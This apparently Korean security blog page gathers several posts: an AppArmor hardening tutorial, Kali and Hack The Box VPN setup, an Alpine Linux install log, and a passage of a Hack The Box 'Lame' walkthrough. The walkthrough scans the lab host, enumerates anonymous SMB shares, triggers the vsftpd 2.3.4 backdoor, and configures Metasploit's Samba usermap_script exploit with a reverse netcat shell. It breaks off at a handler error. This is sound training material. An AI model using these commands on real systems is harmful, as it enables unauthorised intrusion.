제 블로그는 정보 보안, 리눅스 시스템 실습, 서버 보안 관련 정보 등을 정리하고 공유하기 위해 운영하고 있습니다. 직접 실습하고 체험한 내용을 기반으로 글을 작성하며, 같은 분야를 공부하는 분들께도 작은 도움이나마 되기를 바랍니다. 비록 졸면서 공부했던 날도 있지만... 꾸준히 업데이트할 예정입니다 ! (깃허브는 추후에 추가할 예정입니다 ^^;;
2. 개인정보 처리 방침 🔒
이 블로그는 Google의 애드센스를 활용하여 광고를 게재합니다. Google 및 제3자 광고 제공업체는 쿠키를 통해 사용자 맞춤 광고를 제공합니다. 사용자는 Google 광고 설정에서 맞춤 광고를 사용하지 않도록 설정할 수 있습니다. 이 블로그는 사용자로부터 이름, 이메일 등 개인정보를 수집하지 않습니다.
3. 문의하기 ✉️
✨ 현재 애드센스 심사 중이며, 꾸준히 보안/리눅스 관련 실습 글을 업데이트 중입니다. 필요한 내용이나 질문은 언제든지 댓글이나 이메일로 주세요 :)
AppArmor는 리눅스에서 특정 프로그램이 어떤 파일이나 기능에 접근할 수 있는지를 제어할 수 있는 MAC(강제 접근 통제) 기반 보안 모듈이다. 리눅스는 윈도우와 달리 실시간 백신이 기본 탑재되어 있지 않기 때문에, 시스템 파일이 변조되거나 악성코드에 침투당해도 명확한 경고 없이 조용히 동작하는 경우가 많다.
이로 인해 사용자가 침해 사실을 알아채지 못한 채 넘기는 일이 잦은데, AppArmor를 사용하면 관리자가 설정한 정책에 따라root 권한을 가진 프로세스조차 제어할 수 있어시스템을 보다 안전하게 운영할 수 있다. 이번 글에선 우분투에서 AppArmor 정책을 간단히 설정해보며, 그 동작 방식을 이해해보려고 작성했다.
2. AppArmor 특징
2-1. 경로 기반 프로파일 구조 (/etc/apparmor.d/)
AppArmor는 “AppArmor는 ‘프로세스 자체’가 아니라, 실행 파일의 경로를 기준으로 접근 권한을 제어하며, 동일한 실행 파일이라도 위치가 다르면 별도의 정책이 필요하다.
예시로, /usr/bin/man 이라는 실행 파일에 정책을 걸면 이걸 실행하는 모든 프로세스가 제약을 받으나, 경로가 다르면 다른 프로그램으로 인식하여 완전히 방어하기엔 어려운 특징을 보인다.
/etc/apparmor.d/ : AppArmor가 자동으로 불러오는 디렉터리로, 프로파일이 이 곳에 저장된다.
/etc/apparmor.d/에 실행 파일 경로 기준의 프로파일을 저장하는데, 이때 경로를 / 대신 . 으로 바꾼 형식으로 저장한다. 예를 들면, usr/sbin/apache2에 대한 정책 => usr.sbin.apache2
2-2. 프로파일 구성 (r, w, x, deny 등)
#include <tunables/global>
profile /usr/bin/man {
# 이 파일은 읽기 허용
/usr/bin/man r,
/etc/manpath.config r,
# /tmp는 읽고 쓰기 허용
/tmp/ rw,
# /etc/shadow는 읽지 못하게 막는다
deny /etc/shadow r,
capability net_bind_service,
}
2-2-1. 프로파일 구성요소 설명
프로파일이란 특정 프로그램이 어떤 파일이나 디렉터리에 대해 읽기(r), 쓰기(w), 실행(x) 등의 권한을 가지는지 정의하는 설정 파일이다. 예를 들어, /usr/bin/man 프로그램에 대한 프로파일은 해당 프로그램이 접근할 수 있는 자원과 그 권한을 지정한다. 주요 구성 요소는 다음과 같다:
profile /경로 { ... } : 어떤 파일에 대한 정책인지 명시하는데, 여기선 /usr/bin/man 파일에 대한 정책을 알려준다
r, w, x : 읽기, 쓰기, 실행 권한
deny : 명시적으로 막는 것
capability : 시스템 기능 권한 부여 (예: 포트 바인딩)
2-2-2. 프로파일 작성 방법
먼저 수동 방법으로, 사용자가 직접 /etc/apparmor.d/ 폴더에 .profile 파일을 만든다. 자유도 높고 원하는 대로 세팅할 수 있다.
# 수동으로 작성 시
sudo nano /etc/apparmor.d/usr.bin.man
다음으로, aa-genprof 도구를 사용하여 프로파일을 자동으로 생성하는 방법이다. AppArmor가 실행 로그를 보면서 자동으로 프로파일을 만들어주는 도구로, 지정 프로그램을 감시하면서 허용할 지 말 지를 물어본 후 프로파일을 만들어준다. 전부 끝나면 /etc/apparmor.d/에 자동으로 저장된다.
sudo aa-genprof /usr/bin/man
다음으로 기본 프로파일 템플릿을 복사하는 방법이다. 우분투에는 일부 프로그램의 미리 준비된 기본 프로파일이 존재하는데, /etc/apparmor.d/disable/ 에 있으며, 여기 있는 걸 복사해서 쓸 수도 있다. 기본적으로 비활성화 상태인 프로파일들이 이 경로에 있으며, 필요할 경우 복사해서 활성화할 수 있다.
# usr/bin/man 파일에 정책을 강제 적용
sudo aa-enforce /etc/apparmor.d/usr.bin.man
# 정책을 위반했으나 차단은 안하고 로그만 남김
sudo aa-complain /etc/apparmor.d/usr.bin.man
# 정책 적용 안 함
sudo aa-disable /etc/apparmor.d/usr.bin.man
모드
설명
enforce
정책을 강제 적용함 (위반 시 차단)
complain
위반해도 차단 안 하고 로그만 남김
disable
정책 적용 안 함
3. 적용 대상 프로세스
모든 프로세스에 정책을 적용하면 시스템 사용에 불편이 생길 수 있으므로, 중요한 서비스에 우선적으로 적용하는 것이 좋다.
대상
이유
apache2/nginx (웹서버)
파일 업로드나 웹쉘 같은 공격이 들어와도, 웹서버가 접근할 수 있는 파일/디렉토리만 제한해두면, 공격자가 서버 내부 전체를 뒤지지 못하게 막을 수 있음
mysqld (MySQL DB)
루트 권한 없이도 DB 프로세스를 통해 민감한 데이터 추출을 시도할 수 있으므로 AppArmor로 DB가 접근 가능한 경로를 제한하면, 예를 들어 백업 파일 유출이나 비정상 파일 접근을 차단할 수 있음
sshd (원격 접속 데몬)
ssh는 루트 권한과 연결된 핵심 통로로, 해커가 로그인에 성공하거나 ssh 취약점이 생기면 바로 시스템 뚫릴 수 있다. AppArmor로 sshd가 실행할 수 있는 범위를 제한하면, 루트쉘 획득 후에도 추가 행동을 제한할 수 있음
cron/at (예약 실행 서비스)
해커가 백도어나 자동 실행 스크립트를 심기 위해 cron을 악용하는 경우가 많음. AppArmor로 cron이 실행 가능한 스크립트 경로나 바이너리를 제한하면, 이상한 명령어가 자동 실행되는 걸 막을 수 있음
docker (컨테이너 엔진)
컨테이너가 호스트 시스템까지 침투하는 경우가 있어, AppArmor로 컨테이너마다 프로파일을 따로 적용하면, 호스트 파일 시스템이나 프로세스를 보호할 수 있음.
cupsd (프린터 데몬)
기업 환경에서는 네트워크 프린터가 내부 시스템 권한과 연결되어 공격 루트가 되기도 함. AppArmor로 이상한 프린터 접근이나 공유 파일 읽기 제한 가능.
bash / python / perl (스크립트 인터프리터)
해커들이 웹쉘이나 루트쉘로 들어올 때, 주로 bash나 python을 실행함. 여기에 AppArmor를 적용하면 쉘 획득 후에도 특정 경로나 명령 실행을 막을 수 있음
4. 실습 1 : 간단한 정책 만들어보기
sudo aa-status로 현재 상태 확인
/etc/apparmor.d/ 에 정책 파일 작성
deny 룰로 제한 추가
sudo apparmor_parser 으로 정책 반영
sudo aa-enforce 로 강제 적용
dmesg 나 /var/log/syslog 에서 차단 로그 확인
필요 시 aa-complain 으로 모드 전환
4-1. sudo aa-status로 현재 상태 확인
sudo aa-status
AppArmor가 지금 어떤 상태인지 출력하는 명령어로, 다음의 사항들을 확인할 수 있다.
정책 파일을 작성한 후에는 해당 정책을 커널에 로드하여야 실제로 적용된다. 이를 위해 apparmor_parser 명령어를 사용한다.
4-5. sudo aa-enforce 로 강제 적용
sudo aa-enforce /etc/apparmor.d/usr.bin.man
정책 파일은 작성한 것만으로는 적용되지 않으며, 커널에 반영되도록 명령어를 통해 로드해야 한다. 이를 위해 apparmor_parser 명령어를 사용한다.
4-6. dmesg 나 /var/log/syslog 에서 차단 로그 확인
/usr/bin/man의 정책을 실행해서 AppArmor가 진짜 차단했는지 확인하는 단계이다.
# 정책 위반을 위해 실행 시도
man ls
# 만약 오류가 나거나, 내부적으로 shadow 접근이 있었을 경우 확인
# AppArmor DENIED 메시지가 실제로 찍히면 정책이 적용돼서 차단되었다는 뜻임
dmesg | grep DENIED
sudo journalctl | grep apparmor
4-7. 필요 시 aa-complain 으로 모드 전환
sudo aa-comlplain /etc/apparmor.d/usr.bin.man
enforce 모드가 부담될 경우 일단 로그만 남기는 모드로 바꿀 수 있다. complain 모드는 enforce모드와 달리 정책 위반 시 차단하지 않고, 로그만 출력한다.
5. 마무리
AppArmor는 모든 걸 완벽하게 막아주는 방패는 아니지만, 기초적인 보호막이 되어줄 수 있다. 웹서버나 DB처럼 외부에 노출되는 주요 서비스부터 하나씩 적용해보는 것만으로도 실질적인 보안 효과를 얻을 수 있다고 생각한다.
Hack The Box를 푸는 방법은 Pwnbox와 OpenVpn 두가지가 있는데, 이 중 OpenVpn으로 하려면 리눅스가 먼저 세팅되어 있어야 한다. 반면 Pwnbox의 경우 HTB에서 지원해주는 가상머신으로, Parrot Linux를 기반으로 하는데 터미널이 더 편한 필자는 OpenVpn을 선택해서 하게 되었다.
우선, HTB에 가입은 되어있다는 전제 하에 진행할 것임으로, 회원가입이 되어 있지 않다면 미리 해두는 걸 추천한다
우선 Virtual Machines로 선택하고 다운로드한 후, File > Open > kali-linux-vmware-amd64.vmx 를 선택한다
[사진 1,2,3] 칼리 리눅스 설치 과정
설치한 후, 칼리 리눅스를 실행하여 다음의 명령어를 입력해서 칼리 리눅스 IP, ssh 서버, apt 업데이트를 확인한다.
# eth0 inet 확인
ifconfig
# apt update
sudo apt-get update
# ssh 설치
sudo apt-get install ssh
# ssh 서버 시작
sudo service ssh start
# ssh 서버 상태 확인
sudo service ssh status
[사진 4,5,6ㄴ] 워크스테이션에 설치된 kali, apt update, ssh 서버 확인
3-2. MobaXterm 설정
나는 이미 본 컴퓨터에 설치해두었기 때문에 설치과정은 생략한다. 다운받을 땐 홈 에디션으로 하면 된다. 다음으로, Xterm을 실행했다면 Session > SSH > Remote host 입력 (칼리에서 확인한 eth0 ip) > username 입력 > Port 번호 22번 순으로 입력하면 사진 8번처럼 터미널에 진입할 수 있다.
[사진 5,6,7,8] MobaXterm 다운로드 및 세팅, 성공 시 결과
3-3. VPN 연결
3-2 단계까지 성공했다면 다시 HTB로 돌아와서 Connect to HTB > Machines > TCP 443 (UDP 골라도 됨) > Download vpn 순으로 진행한다. 완료되면 .ovpn 파일을 받을 수 있는데, Xterm에 나와있는 Kali 경로에 드래그 해서 복사해둔다.
[사진 9,10] kali에 ovpn 파일 복사
다음으로, 터미널에서 다음과 같이 입력한다. 참고로 핑을 보낼 대상은 현재 풀어볼 머신의 IP에서 확인할 수 있다. 이게 되면 문제 풀기 시작하면 된다. 이를테면 nmap으로 머신 IP를 스캔하는 등등.
cd /home/kali/Desktop
pwd
# vpn 연결
sudo openvpn <yourvpnfile>.ovpn
# 머신에 ping 보내기
ping 10.10.x.x
[사진 11,12] HTB Vpn 연결 완료 시 출력 결과
[사진 13,14] 머신의 IP와 ping 신호 보내기
3-4. 참고사항
3-3까지 문제없이 되었다면, 이제 문제를 풀기만 하면 된다. 하단의 링크는 이전에 Lame이라는 HTB 문제를 풀이한 것으로, 어떻게 해야할 지 방향 정도는 잡을 수 있다고 생각하여 첨부해놓는다.
Alpine Linux는 필수 요소만 남겨놓고 뼈대만 남은 초경량 리눅스로, 메모리와 저장공간을 최소로 사용하도록 설계되어 있어 빠른 부팅과 자유도 높은 커스터마이징을 제공한다. 우분투, 데비안, 칼리처럼 기본 툴도 없는 상태지만 필요한 요소들을 직접 붙여나가는 과정에서 리눅스 환경에 대한 깊은 이해를 할 수 있다고 생각하며 진행하게 되었다.(말은 이래도 생선뼈만 남은 거나 다름없다)
2. 설치 환경 상세 (25년 4월 기준)
사용 가상머신
리눅스 버전
Vmware Workstation Pro 17
alpine-extended-3.18.0-X86_64
Vmware workstation Pro가 깔려져 있단 전제 하에 진행하려고 한다. 혹시라도 깔려져 있지 않다면 미리 설치해두고 다시 보는 걸 추천한다. 여기엔 링크만 남겨둔다.
25년 4월 기준으로 최신 ISO(v3.21)에서는 미러 연결과 DNS 문제가 반복되는 바람에 v3.18 ISO로 다운그레이드하여 재설치한다. 설치하는 방법은 현재 3번 방법 그대로 해도 된다. 이 글에서 설치하는 버전은 alpine-extended-3.18.0-x86 64.iso 이다. 이 버전을 고른 기준은 다음의 세가지였다.
1. 날짜도 적당히 최신 (2023-11-30) 2. 안정 버전이라 미러 오류도 적고, 설치 중 DNS도 잘 먹음 3. extended 버전은 설치 시 필요한 패키지들이 많이 포함되어 있음 → grub, dosfstools, syslinux 같은 거 잘 설치됨
** 혹시 몰라 디렉터리가 나와서 놀랄 분들을 위해 ** Alpine Linux 구버전(v3.18)의 공식 ISO 파일은 아래 링크에서 받을 수 있다. 공식 CDN에서 제공하는 경로이며, 실습 시 가볍고 빠르게 설치할 수 있는 버전이라 링크를 남겨두었다.
다음으로. 사용자 계정을 만들지 말지 묻고 있는데, 현재는 만들어봤자 sudo도 직접 설치하고 설정해야하는 번거로움이 있으므로 그냥 엔터치고 끝냈다. 이후에 필요할 경우 adduser 명령어로 만들면 된다.
[사진 21] 계정 및 ssh 서버 설정
Which ssh server?는 어떤 원격 서버를 쓸 지 물어보는 단계로 그냥 엔터치면 된다.
옵션
상세설명
openssh (기본)
안정적, 기능 풍부, 보편적 ssh 서버
dropbear
초경량 SSH 서버 (용량 아끼고 싶으면 사용)
none
SSH 안 씀 (로컬 접속만 할 거면 가능하지만 불편)
Allow root SSH login?은 원격 접속을 허용할 건지 물어보는 단계로, 보안적으로 민감한 부분이니 만약 일반 사용자 계정을 만들었다면 이 부분은 막을 필요가 있다.
상황
상세설명
보안 신경 쓰는 실 서버
no (루트 계정은 원격접속을 차단)
지금처럼 실험용 VM, root 계정만 있음
yes (루트 로그인 막으면 접속 자체가 불가능)
Enter ssh key or url for root는 SSH로 root 접속할 거면 공개키 등록할 건지 물어보는 단계로, 비밀번호 말고 키 인증을 쓰고 싶으면 공개키를 입력하면 된다. 그러나 여기도 엔터를 누르고 넘어가겠다.
상황
상세설명
실험용, root 로그인 허용 시
(그냥 엔터)
공개키 인증으로만 접속하고 싶을 경우
키 붙여넣기
공개키 파일이 깃허브에 있을 경우
URL 입력 (예: https://github.com/yourName.keys)
4-9. 설치할 디스크 포맷 및 마운트 (최신 버전은 오류 주의)
대망의 마지막이다. 개인적으론 여기서 오류가 났지만 일단 적어보겠다. 일단 가장 먼저 설치할 디스크를 고르라고 물어보니 sda를 입력해주겠다. 만약 중요한 자료가 있는 곳일 경우 포맷될 수도 있으니 주의.
[사진 22,23] 설치 디스크 설정
다음으로, 어떤 방식으로 디스크를 포맷하고 마운트할지 물어보고 있다. 여기선 sys를 입력하면 된다.
옵션
상세설명
sys
디스크에 완전 설치 (일반적, OS 부팅 가능)
data
라이브 OS + 데이터 저장 (usb 용도)
crypt
암호화된 디스크로 설치 (보안 테스트 용도)
lvm
LVM 볼륨 매니저 사용 (복잡한 디스크 나눔)
?
도움말 보기
24번 사진처럼 뜨면 y를 누른 후 reboot 입력하여 재부팅하면 25번 사진처럼 설치 완료된 리눅스로 진입할 수 있다.
[사진 24,25] alpine 리눅스가 성공적으로 설치된 결과
5. 최신 버전 오류 원인 분석
4-9. 설치할 디스크 포맷 및 마운트 부분에서 sys 모드로 설치하려다 오류가 발생하였다. 원인은 설치하려는 부트로더(syslinux) 패키지를 찾지 못해서 실패했다고 한다. 따라서 원인해결을 위해 해본 것을 정리해보면 다음과 같다.
[사진 26,27] sys 모드 설치 실패 / 최신버전
5-1. /etc/apk/repositories 수정 시도
기본으로 잡혀있는 레포지토리가 죽었거나 오래된 경우로 인해, DNS 불가 / "No such file", 403 Forbidden 문제가 나타난 것이라고 생각하여 다음과 같이 수정하게 되었다. 하지만 이것만 문제는 아니었는지 다른 문제들도 복합적으로 나타났다.
vi /etc/apk/repositories
# vi에서 이 주소를 추가한 후 저장
>> https://d1-cdn.alpinelinux.org/alpine/edge/main
5-2. DNS loockup error 출력
네트워크 연결은 됐지만, 도메인 이름을 IP로 못 바꾸고 있는 상황이 되었다. 즉, 인터넷이 있는 것처럼 보여도 DNS 설정이 되지 않아 다운로드가 제대로 안되는 상황이었다.
[사진 28] dns lookup error 출력
5-3. DNS 수동 설정 후 다시 apk update 시도
vi /etc/resolv.conf
#Google DNS 추가 후 저장
nameserver 8.8.8.8
nameserver 1.1.1.1
apk update
apk add syslinux
이 과정으로 다시 진행해봤지만 그래도 오류는 사라지지 않았다. ping은 문제없이 보내지는 걸 확인한 후, 네트워크는 문제가 없는 상황이지만 DNS에서 문제가 계속 유지되고 있다는 걸 알게 되었다.
[사진 29] 정상적으로 보내지는 패킷, ping 명령어 사용
5-4. 공식 CDN으로 미러 서버 수동 고정 시도
해당 주소들은 공식 CDN으로, 안전한 미러 서버를 수동으로 고정해두고 다시 시도해봤지만 되지 않았다. 따라서 구버전(v3.18)으로 다시 설치하게 되었고 현재 글이 최신 버전으로 작성되지 않은 이유이다.
vi /etc/apk/repositories
# 다음의 링크들을 입력한 후 저장
https://dl-cdn.alpinelinux.org/alpine/latest-stable/main
https://dl-cdn.alpinelinux.org/alpine/latest-stable/community
apk update
apk add syslinux
5-5. 종합적인 실패 원인
gpt에서 다음 문제사항에 대해 알아본 결과, 단순한 미러서버 문제가 아니라 레포지터리 설정 + DNS + 패키지 의존성 3종이 꼬여버렸다고 한다. 즉, 최신 Alpine은 외부 네트워크에 의존성이 강하기 때문에 DNS 하나만 막혀도 설치 과정이 줄줄이 실패하는 원인이 된다는 것이다.
상세하게 풀면 다음과 같다.
resolv.conf 초기화 문제
setup-alpine 도중 최신 ISO는 /etc/resolv.conf를 자동으로 덮어쓴다
따라서 DNS를 수동을 설정해놔도 사라지는 현상이 나타난다
미러 서버 구조 변경
최신 Alpine의 미러 서버에서 버전별 디렉터리 구조가 바뀌었거나 일부 미러가 죽었을 수도 있다.
이 때문에 lastest-stable 라우팅이 꼬여버려서 apk update가 실패하게 되는 원인 중 하나라고 생각하게 되었다.
부트로더 설치 시 패키지 외부 의존도 증가
최신 Alpine은 grub, syslinux, dosfstools 등을 설치할 경우, 즉시 외부 미러서버에서 받아와야 한다.
여기서 DNS 혹은 미러에 연결을 실패하면 설치 자체가 끊겨버려 오류를 출력하게 된다.
구버전은 최신 버전과 달리 ISO 내부에 필수 패키지들이 포함되어 있어 인터넷이 없는 상황에서도 설치가 진행되었다.
이와 달리 구버전(v3.18)은 설치 시 필요한 패키지를 내장하고 있기 때문에 네트워크에 문제가 생겨도 설치에 문제가 생기지 않아 sys 모드 설치에 성공했고, 재부팅까지 완료되었다.
이 문제는 익명으로 접근 가능한 SMB에서 usermap script 취약점을 통해 root 권한의 리버스 쉘을 따내는 것을 목표로 한다.
날짜 : 2025/04/05
키워드 : explore_smb_usermap
사용환경
사용 OS
터미널 환경
사용 머신
Kali Linux
MobaXterm
Hack The Box Lame
2. 단계별 풀이
이 문제를 풀기 위한 절차를 나열하면 다음과 같다.
서비스 식별
취약점 탐색
FTP/SMB 접속 시도
취약한 버전 확인
Metasploit 세팅
리버스 쉘 획득
권한 확인 및 루트 쉘 확보
플래그 확보
2-1. Nmap 스캔
모든 열린 포트 + 서비스 버전 + 기본 스크립트 분석 결과를 출력하는 명령어로, 여기서 어떤 취약점으로 접근할지 방향을 잡을 수 있다.
nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
-sC : 기본 스크립트 실행
-sV : 서비스 버전 식별
-oN : 검사 결과를 텍스트 파일에 저장하는 출력 형식 플래그
10.10.10.3 : 해당 머신 IP
2-2. 머신 스캔 결과
┌~(ali㉿kali)-[~]
└─$ nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-04 11:13 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating Ping Scan at 11:13
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 11:13, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:13
Completed Parallel DNS resolution of 1 host. at 11:13, 0.01s elapsed
Initiating SYN Stealth Scan at 11:13
Scanning 10.10.10.3 [1000 ports]
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Completed SYN Stealth Scan at 11:13, 24.31s elapsed (1000 total ports)
Initiating Service scan at 11:13
Scanning 4 services on 10.10.10.3
Completed Service scan at 11:13, 12.84s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.10.3.
Initiating NSE at 11:13
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 11:14, 40.09s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 3.83s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Nmap scan report for 10.10.10.3
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.36
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m24s, deviation: 2h49m46s, median: 21s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-04-04T11:14:25-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
NSE: Script Post-scanning.
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Initiating NSE at 11:14
Completed NSE at 11:14, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.66 seconds
Raw packets sent: 2013 (88.548KB) | Rcvd: 18 (776B)
결과는 엄청 길게 나왔는데 여기서 주의 깊게 봐야 하는 부분은 다음과 같다.
2-1-1. 열린 포트 확인
[사진 1] Lame 머신에서 열린 포트 스캔 결과
포트
서비스 용도
21/tcp
FTP (파일 전송 프로토콜)
22/tcp
SSH (원격 접속)
139/tcp
NetBIOS Session Service (SMB 관련)
445/tcp
SMB (Windows 파일 공유 프로토콜)
SMB 서비스 포트 139, 445가 열려있음을 확인하였다
FTP (21) : 취약한 FTP 버전일 경우 바로 공격이 가능한 상태다
SSH (22) : 보통은 루트권한 획득 이후 접속 용도이다
2-1-2. 포트별 서비스와 버전 정보 확인
[사진 2,3] FTP 서비스 버전 정보, Microsoft-DS 버전 정보
[사진 5,6] SSH 서비스 버전 정보, NetBIOS-SSN 버전 정보
2-1-3. 핵심 포트 및 서비스 요약
포트
서비스
버전 정보
주목 포인트
21/tcp
FTP
2.3.4
익명 로그인 허용(Anonymous login allowed)
22/tcp
SSH
OpenSSH 4.7p1 Debian
참고용도(루트 권한 없으면 공격 불가)
139/tcp
NetBIOS-SSN
Samba smbd 3.0.20-Debian
user-level에서 접근 가능한 SMB 취약점 가능성
445/tcp
Microsoft-DS
Samba 3.0.20-Debian
위와 동일. SMB 관련 공격 후보
FTP : vsftpd 2.3.4
해당 버전은 백도어 취약점 CVE-2011-2523이 존재한다
익명 로그인이 허용된다.(사진 2번, ftp-anon NSE 결과에서 확인 가능)
메타스플로잇으로 자동 공격이 가능하다
# 익명 로그인 테스트 명령어
ftp 10.10.10.3
FTP 접속 출력 결과
Name (10.10.10.3 kali) : anonymous
Password : 어지간함 엔터 누르면 됨
익명으로 접속하여 디렉터리 목록 출력을 요청했지만 결과를 반환하지 않는 걸 알 수 있다.(비어있거나 접근 제한된 상태)
[사진 6] FTP 접속 결과
SMB : Samba 3.0.20
해당 버전은 usermap script 취약점 CVE-2007-2447이 존재할 수 있다.
user-level에서 접근 가능, smb-os-discovery 결과가 출력되어 있다.(사진 3에서 확인 가능)
구버전 윈도우 공유 기능으로, 사용자 정보 및 쉘을 따는 게 가능한 상태이다.
공격 툴 : metasploit, smbclient, smbmap, enum4linux
# SMB 공유 목록 확인 명령어
# -L : 리스트 보기 | -N : 비밀번호 없이 접속
smbclient -L \\\\10.10.10.3\\ -N
SMB 공유 폴더 접속 및 분석 결과
비밀번호 없이 SMB 서버에 접속한 상태로, 공유 목록을 확인할 수 있다.
[사진 7] smbclient 접속 결과
Sharename
Type
Comment
print$
프린터 드라이버 공유
Print Drivers
tmp
디스크 타입, "oh, noes!" 코멘트 확인
접속 시도 후보
opt
다른 공유 폴더
접속 시도 후보
IPC$, ADMIN$
시스템 공유 (보통은 접근 안됨)
참고 용도
tmp 공유 파일 접속 시도
smbclient \\\\10.10.10.3\\tmp -N
[사진 8] tmp 공유 파일 접속 시도 결과
파일/폴더
설명
xwgdaq, .ICE-unix, .X11-unix, vmware-root
GUI 관련 디렉터리들(VMware 환경 흔적 존재)
5541.jsvc_up
일반적인 파일 이름이 아님. 사용자 코드나 서비스에 대한 힌트일 가능성 존재
vgauthsvc.log.txt.0
로그파일(.txt.0)으로, 정보가 나올 수 있음
의심되는 공유 파일 다운로드 시도
# 로그 파일 다운로드
get vgauthsvc.log.txt.0
# 의심되는 파일 다운로드
get 5541.jsvp_up
[사진 9] 공유 파일 다운로드 결과
파일명
접근 가능 여부
의미
vgauthsvc.log.txt.0
다운로드 성공
분석 가능함
opt
권한 부족(NT_STATUS_ACCESS_DENIED)
권한 부족
5541.jsvc_up
권한 부족(NT_STATUS_ACCESS_DENIED)
익명 접근으로는 한계, 유저 권한 필요
vgauthsvc.log.txt.0 파일 분석
# 로그 파일 출력 명령어
cat vgauthsvc.log.txt.0
[사진 11] 로그 파일 출력 결과
항목
내용
서비스 이름
VGAuthService(VMware 인증 관련)
로그 위치
/etc/vmware-tools/vgauth.conf
서비스 상태
INIT SERVICE, BEGIN SERVICE 등 ->실행 중 로그
메시지
SAML 관련 정보 존재, 로그 레벨은 normal
이 머신은 VMware 가상환경 위에 올라가 있으며, 로그만으로는 직접적인 취약점 정보를 찾을 수 없는 상태이다
다만 내부 시스템 구조, 인증 서비스, 경로 힌트는 파악할 수 있다.
2-1-4. 현재까지의 상황 정리
절차
상세 내용
1. nmap 스캔
서버 내부 포트 확인 및 버전 정보 확인
2. FTP 접속
익명 로그인이 가능한 버전(vsftpd 2.3.4)
3. SMB 탐색
파일 공유 시스템이 열려 있는 것을 확인함. 의심 파일 분석
4. tmp 공유 파일 접속
접근 권한, 내부 파일 구조 및 로그 파일 탐색/다운로드
5. 로그 분석
서버가 VMware 가상머신임을 확인, 인증 시스템 존재 확인
2-2. 공격 실습
nmap으로 확인된 취약점으로 가능한 공격은 총 두가지다.
공격 대상
취약점 정보
상세설명
vsftpd 2.3.4
CVE-2011-2523
로그인 시도에 : ) 넣으면 백도어가 열리는 유명 취약점
Samba 3.0.20
CVE-2007-2447
오래된 공유 시스템에 명령어 삽입 가능한 취약점
2-2-1. vsftpd 2.3.4 백도어 취약점 테스트
다음은 USER 명령에 :)를 같이 입력하여 백도어가 활성화되도록 트리거를 거는 명령어이다.
# 열려있는 포트 21번, telnet으로 접속한다
telnet 10.10.10.3 21
# USER 명령에 :)를 포함한다 -> 백도어 활성화 트리거
USER back :)
# PASSWORD 넘어감
PASS whatever
# PASSWORD 까지 성공할 경우 다음의 코드 입력
# nmap으로 10.10.10.3의 모든 포트를 스캔한다
nmap -p- 10.10.10.3
# 6200번 포트가 나올 경우 telnet으로 이 포트에 접근하여 리버스 쉘을 연다
telnet 10.10.10.3 6200
[사진 12] 백도어 트리거 시도 결과
테스 트 결과, vsftpd 백도어는 실습용 머신 설정 상 현재 비활성화된 상태인 걸 확인할 수 있었다.
따라서 리버스쉘은 전개가 불가한 상황이다
2-2-2. Samba 3.0.20 유저 맵핑 취약점 학인
2-2-2-1. Metasploit 사용을 위한 msfconsole 실행
# msfconsole 접속
msfconsole
[사진 13] 메타스플로잇 접속
2-2-2-2. 취약점 모듈 로딩
use exploit/multi/samba/usermap_script
Samba usermap_script 취약점 모듈을 사용한다
오래된 Samba에서 쉘 명령어를 주입할 수 있게 해주는 취약점을 이용하겠다는 뜻이다
2-2-2-3. 설정값 입력
set RHOSTS 10.10.10.3
set RPORT 139
RHOSTS : 타깃 머신 IP
RPORT : Samba가 사용하는 포트번호 = 139번
2-2-2-4. 페이로드 설정
set PAYLOAD cmd/unix/reverse_netcat
set LHOST [리눅스 vpn IP]
set LPORT [포트번호 지정 ex.5555]
첫번째 페이로드 설정의 경우, 해당 취약점을 성공시키려면 타겟 컴퓨터가 리버스쉘로 공격자의 컴퓨터에 접속하라는 뜻이다
LHOST : 내 리눅스 VPN IP
LPORT : 리버스쉘이 들어올 내 포트
[오류 1] 리눅스 IP 지정 오류
[사진 14] Handler failed 오류 출력
